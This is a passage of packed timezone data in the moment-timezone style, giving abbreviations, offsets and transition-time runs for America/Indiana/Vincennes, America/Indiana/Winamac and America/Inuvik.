1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0|","America/Indiana/Vincennes|LMT CST CDT CWT CPT EST EDT|5O.7 60 50 50 50 50 40|01212134121212121212121212121212156565212565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565|-3tFG0 1nEe0 1nX0 11B0 1nX0 SgN0 8x30 iw0 1o10 11z0 g0p0 11z0 1o10 11z0 1qL0 WN0 1qN0 11z0 1o10 11z0 1o10 11z0 1o10 11z0 1o10 1fz0 1cN0 WL0 1qN0 1cL0 1cN0 1cL0 1cN0 caL0 1cL0 1cN0 1cL0 1qhd0 1o00 Rd0 1zb0 Oo0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0|","America/Indiana/Winamac|LMT CST CDT CWT CPT EST EDT|5K.p 60 50 50 50 50 40|012121341212121212121212121212121212121565652165656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565|-3tFG0 1nEe0 1nX0 11B0 1nX0 SgN0 8x30 iw0 1o10 11z0 1o10 11z0 1o10 11z0 1o10 11z0 1qN0 WL0 1qN0 11z0 1o10 11z0 1o10 11z0 1o10 11z0 1o10 1fz0 1cN0 1cL0 1cN0 11z0 1o10 11z0 1o10 11z0 1o10 11z0 1qN0 jrz0 1cL0 1cN0 1cL0 1qhd0 1o00 Rd0 1za0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0|","America/Inuvik|-00 PST PDT MDT MST|0 80 70 60 70|01212121212121213434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434|-FnA0 L3K0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1a10 1fz0 1cN0 1cL0 1cN0 1cK0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1a10 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 